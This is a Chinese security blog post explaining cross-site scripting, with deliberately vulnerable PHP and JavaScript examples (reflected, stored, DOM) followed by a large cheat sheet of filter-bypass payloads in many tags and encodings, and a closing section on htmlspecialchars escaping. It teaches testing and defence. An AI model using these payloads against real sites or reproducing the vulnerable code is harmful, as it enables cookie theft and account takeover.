当前位置 博文首页 > Dark1nt:xss-代码角度理解与绕过filter

    Dark1nt:xss-代码角度理解与绕过filter

    作者:Dark1nt 时间:2021-06-05 18:21

    0x00 原理

    ??xss全称为cross site scripting,中文为跨站脚本攻击。它允许web用户将恶意代码植入到提供给用户使用的页面。代码包括HTML代码和客户端脚本。

    0x01 危害

    • 盗取用户账户(获取cookie)
    • 控制网页数据
    • 盗窃企业资料
    • 非法转账
    • 强制发送电子邮件
    • 网站挂马
    • 控制受害者机器向其他网站发起攻击

    0x02 xss类别以及代码实现

    0x02.1 反射型xss

    ??反射型xss也叫非持久性xss,是一种常见的xss漏洞,但是危害较小。

    后端代码

    <?php
      highlight_file('reflect_xss.php');
      $user=$_GET['user'];
      echo $user;
    ?>
    

    前端测试


    可以看到我们的js代码被直接插入进了页面执行。

    根据需求可以构造各种各样的js代码


    因为没设置cookie 所以不弹cookie

    0x02.2 存储型xss

    ??存储型xss也被称做持久型xss,存储xss是最危险的一种跨站脚本。它被服务器接收并储存,用户访问该网页,这段xss就会被读取出来到浏览器。
    一般出现在留言板

    后端代码(拆了dvwa的xss存储做测试)

    <?php
    
    if( isset( $_POST[ 'btnSign' ] ) ) {
    	// Get input
    	$message = trim( $_POST[ 'mtxMessage' ] );
    	$name    = trim( $_POST[ 'txtName' ] );
    
    	// Sanitize message input
    	$message = stripslashes( $message );
    	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
    	// Sanitize name input
    	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
    	// Update database
    	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
    	//mysql_close();
    }
    
    ?>
    

    审计源码 我们可以发现,先检测了用户是否输入,然后对输入的名字和内容进行检测,最后将值插入到数据库中

    前端测试


    在当前页面刷新后,会重新进行sql查询,将查询到的结果返回到页面上。


    所以可以通过这种方式去获取他人cookie,实现登录他人账号。

    0x02.3 dom型xss

    ??dom型xss只发生在客户端处理数据阶段,可认为dom型xss就是出现在javascript中的漏洞。

    前端代码

    <html>
    <head>
    <title>aa</title>
    </head>
    <body>
    <script>
    	var temp=document.URL;
    	var index=document.URL.indexOf("content=")+4;
    	var par=temp.substring(index);
    	document.write(decodeURI(par));
    </script>
    </body>
    </html>
    

    关键是script标签下的代码,因为用到了document.write 使得用户输入的代码被写入到了页面上。

    前端测试


    0x03 xss常见payload中用到的标签

    <script> 
    <a> 
    <p> 
    <img> 
    <body> 
    <button> 
    <var> 
    <div> 
    <iframe> 
    <object> 
    <input> 
    <select> 
    <textarea> 
    <keygen> 
    <frameset> 
    <embed> 
    <svg> 
    <math> 
    <video> 
    <audio>
    <style>
    

    0x04 xss常见payload中用到的事件

    onload 
    onunload 
    onchange 
    onsubmit 
    onreset 
    onselect 
    onblur 
    onfocus 
    onabort 
    onkeydown 
    onkeypress 
    onkeyup 
    onclick 
    ondbclick 
    onmouseover 
    onmousemove 
    onmouseout 
    onmouseup 
    onforminput 
    onformchange 
    ondrag 
    ondrop
    

    0x05 xss常见payload中用到的属性

    formaction 
    action 
    href 
    xlink:href 
    autofocus 
    src 
    content 
    data
    

    0x06 xss绕过的一些技巧

    属性与属性之间需要空格,而属性与标签之间可以不用

    • <img/src=x onerror=alert(1)> 通杀各种xss漏洞

    使用html实体编码

    • <a href=j&#x61;v&#97script&#x3A;&#97lert(13)>M 一般用于dom型

    xlink:href隐藏链接

    • <svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg> 通杀

    jsfuck编码弹窗

    • <script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script> 一般用于dom型
      网站: http://www.jsfuck.com/

    aaencode编码弹窗

    • <script>?ω??= /`m′)? ~┻━┻ //*′?`*/ ['_']; o=(???) =_=3; c=(?Θ?) =(???)-(???); (?Д?) =(?Θ?)= (o^_^o)/ (o^_^o);(?Д?)={?Θ?: '_' ,?ω?? : ((?ω??==3) +'_') [?Θ?] ,???? :(?ω??+ '_')[o^_^o -(?Θ?)] ,?Д??:((???==3) +'_')[???] }; (?Д?) [?Θ?] =((?ω??==3) +'_') [c^_^o];(?Д?) ['c'] = ((?Д?)+'_') [ (???)+(???)-(?Θ?) ];(?Д?) ['o'] = ((?Д?)+'_') [?Θ?];(?o?)=(?Д?) ['c']+(?Д?) ['o']+(?ω?? +'_')[?Θ?]+ ((?ω??==3) +'_') [???] + ((?Д?) +'_') [(???)+(???)]+ ((???==3) +'_') [?Θ?]+((???==3) +'_') [(???) - (?Θ?)]+(?Д?) ['c']+((?Д?)+'_') [(???)+(???)]+ (?Д?) ['o']+((???==3) +'_') [?Θ?];(?Д?) ['_'] =(o^_^o) [?o?] [?o?];(?ε?)=((???==3) +'_') [?Θ?]+ (?Д?) .?Д??+((?Д?)+'_') [(???) + (???)]+((???==3) +'_') [o^_^o -?Θ?]+((???==3) +'_') [?Θ?]+ (?ω?? +'_') [?Θ?]; (???)+=(?Θ?); (?Д?)[?ε?]='\\'; (?Д?).?Θ??=(?Д?+ ???)[o^_^o -(?Θ?)];(o???o)=(?ω?? +'_')[c^_^o];(?Д?) [?o?]='\"';(?Д?) ['_'] ( (?Д?) ['_'] (?ε?+(?Д?)[?o?]+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (?Θ?)+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ (???)+ (?Д?)[?ε?]+(?Θ?)+ (???)+ ((???) + (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ (???)+ (?Д?)[?ε?]+((???) + (?Θ?))+ (c^_^o)+ (?Д?)[?ε?]+(???)+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ (?Θ?)+ (c^_^o)+ (?Д?)[?ε?]+(?Θ?)+ (???)+ ((???) + (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ (???)+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ (???)+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ ((???) + (o^_^o))+ (?Д?)[?ε?]+((???) + (?Θ?))+ (???)+ (?Д?)[?ε?]+(???)+ (c^_^o)+ (?Д?)[?ε?]+(?Θ?)+ (?Θ?)+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (?Θ?)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (?Θ?)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) - (?Θ?))+ (o^_^o)+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (o^_^o)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ (?Θ?)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ (???)+ (?Д?)[?ε?]+(???)+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+((???) + (?Θ?))+ (?Θ?)+ (?Д?)[?o?]) (?Θ?)) ('_');</script> 一般用于dom型

    网站: https://www.jisuan.mobi/pHNNNNHzz6z3NJyX.html

    并不需要规范的script

    • <script ????>alert(1)</script> 通杀

    使用unicode编码+html实体编码

    • <script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061lert(/XSS/)></script> 一般用到html实体编码的只能杀dom型

    使用unicode编码

    • <script>\u0061\u006c\u0065\u0072\u0074(/\u002f\u0078\u0073\u0073\u002f/)</script> 通杀

    不使用alert,使用别的事件弹窗

    • <script>prompt(-[])</script> 通杀

    • <script>confirm(-[])</script> 通杀

    使用/替代单引号和双引号

    • <script>alert(/3/)</script> 通杀

    使用String.fromCharCode 转成 字符

    • <script>alert(String.fromCharCode(49))</script> 通杀

    执行代码后加.source不影响代码执行 加其他字符可能出现undefine

    • <script>alert(/shit/.source)</script> 通杀

    使用settimeout输出alert

    • <script>setTimeout('alert(1)',0)</script> 通杀

    经典button alert

    • <button/onclick=alert(1) >M</button> 通杀

    过滤了所以on开头事件

    • <form><button formaction=javascript&colon;alert(1)>M 一般适用于dom xss

    无限弹,弹到死

    • <button onfocus=alert(1) autofocus> 通杀

    插入p标签

    • <p/onmouseover=javascript:alert(1); >M</p> 通杀
      鼠标移动到M

    img标签常用Payload

    • <img src=x onerror=alert(1)> 通杀
    • <img src ?itworksonchrome?\/onerror = alert(1)> 通杀,但只适用于谷歌
    • <img src=x onerror=window.open('http://google.com');> 会被谷歌拦截
    • <img/src/onerror=alert(1)> 通杀,适用于谷歌
    • <img src="x:kcf" onerror="alert(1)"> 通杀

    body标签常用payload

    • <body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> 通杀
    • <body onload=alert(1)> 通杀
      其实就是通过事件执行弹窗
    • <body%20onclick=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input%20autofocus> 通杀

    var标签常用payload

    • <var onmouseover="prompt(1)">KCF</var> 通杀

    div标签常用payload

    • <div/onmouseover='alert(1)'>X 通杀
    • <div style="position:absolute;top:0;left:0;width:100%;height:100%" onclick="alert(52)"> 通杀

      隐藏执行

    iframe标签常用payload

    可以通过实体编码 &Tab(换行和tab字符)来bypass一些filter。可以通过事先在swf文件中插入我们的xss code,然后通过src属性来调用。
    只有在crossdomain.xml文件中,allow-access-from domain=“"允许从外部调用swf时,我们才可以通过flash来实现xss attack.

    • <iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe> 一般用于dom型xss

    • <iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe> 一般用于dom型xss

    • <iframe%20SRC="http://xss/xss.swf"></iframe> 调用flash xss 通杀

    • <IFRAME SRC="javascript:alert(1);"></IFRAME> 通杀

    • <iframe/onload=alert(53)></iframe> 通杀

    meta标签常用payload

    文章标题跑到meta标签里。只需要跳出当前属性再添加http-equiv="refresh",就可以构造一个有效的xss payload

    • <meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>? 测试失败
    • <meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"> 测试失败

    object标签常用payload

    • <object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object> 通杀

    marquee标签常用payload

    • <marquee onstart="alert('sometext')">as</marquee> 测试失败
      很有意思的标签
    • <marquee%20%20onclick=javascript:alert(/xss/)>as</marquee> 通杀

    isindex标签常用payload

    • <isindex type=image src=1 onerror=alert(1)> 测试失败
    • <isindex action=javascript:alert(1) type=image> 测试失败

    input标签常用payload

    input和Button差不多

    • <input onfocus=javascript:alert(1) autofocus> 通杀
    • <input onblur=javascript:alert(1) autofocus><input autofocus> 通杀

    select标签常用payload

    • <select onfocus=javascript:alert(1) autofocus> 通杀

    textarea标签常用payload

    • <textarea onfocus=javascript:alert(1) autofocus> 通杀

    keygen标签常用payload

    • <keygen onfocus=javascript:alert(1) autofocus> 测试失败

    frameset标签常用payload

    • <FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET> 测试失败
    • <frameset onload=alert(1)> 测试失败

    embed标签常用payload

    • <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed> 通杀 适用谷歌

    • <embed src=javascript:alert(1)> 通杀 适用火狐

    svg标签常用payload

    • <svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg> 通杀
    • <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg> 测试失败 谷歌

    math标签常用payload

    • <math href="javascript:javascript:alert(1)">CLICKME</math> 测试失败
    • <math><y/xlink:href=javascript:alert(51)>test1 测试失败

    xlink:href="javascript:alert(49)">CLICKME ``` 测试失败

    vedio标签常用payload

    • <video><source onerror="alert(1)"> 通杀
    • <video src=x onerror=alert(48)> 通杀

    audio标签常用Payload

    • <audio src=x onerror=alert(47)> 通杀

    凡是on开头事件后出现javascript:都是多余的

    0x07 xss防御方式

    将<> 转成html实体编码显示在页面

    &(和号)成为&amp
    “(双引号)成为&quot
    ‘(单引号)成为&#039
    <(小于)成为&lt >( 大于)成为&gt

    • htmlspecialchars()函数 通杀所有需要构造标签的payload. 厉不厉害?不给hacker们留活路呢

    后端代码

    <?php
      highlight_file('htmlspecialchars_xss.php');
      $user=$_GET['user'];
      echo htmlspecialchars($user);
    
    ?>
    

    前端测试




    在源代码中我们可以看到php函数htmlspecialchars将所有<> 都转成了对应的html实体编码,博客园里也用了这种方法。



    默认转义了双引号和<>,其实已经够了

    <?php
      highlight_file('htmlspecialchars_xss.php');
      $user=$_GET['user'];
      #echo htmlspecialchars($user,ENT_COMPAT); 默认编码双引号
      #echo htmlspecialchars($user,ENT_QUOTES); 编码双引号和单引号
      #echo htmlspecialchars($user,ENT_NOQUOTES); 不编码任何引号
    ?>
    
    • 使用了ENT_COMPAT

    • 使用了ENT_QUOTES

    • 使用了ENT_NOQUOTES

    0x08 xss里的<>被转义了怎么绕过?

    已经有办法绕了,但是不能完全绕(必须某种特定情况)

    • 如果用户输入的是直接插入到页面中,则需要自己构造标签,这种一般就不用考虑绕了,基本上是在浪费时间。
    • 如果用户输入的是插入到页面为我们构造好的标签里,我们不用自己构造标签,那就有很多方法来绕过了。

    后端代码

    <?php
      highlight_file('htmlspecialchars_xss.php');
      $user=$_GET['user'];
      $html='<p value='.htmlspecialchars($user).'>登录</p>';
      echo $html;
    ?>
    

    只是简单演示一下,实际情况有非常多,都是将用户输入的代码直接插入了标签中的某个属性里,而且还是使用了默认的htmlspecialchars 不转义单引号,万变不离其中。

    前端测试



    正常转义
    构造payload

    • a onclick=javascript:alert(/xss/)



    在源码中可以看到标签完美闭合

    返回页面 点击登录 弹窗

    0x08 xss payload检测网站

    url: https://xsschop.chaitin.cn/demo/

    0x09 xss真正防御方式

    ??函数不重要,重要的是开发者的安全意识。

    bk
    下一篇:没有了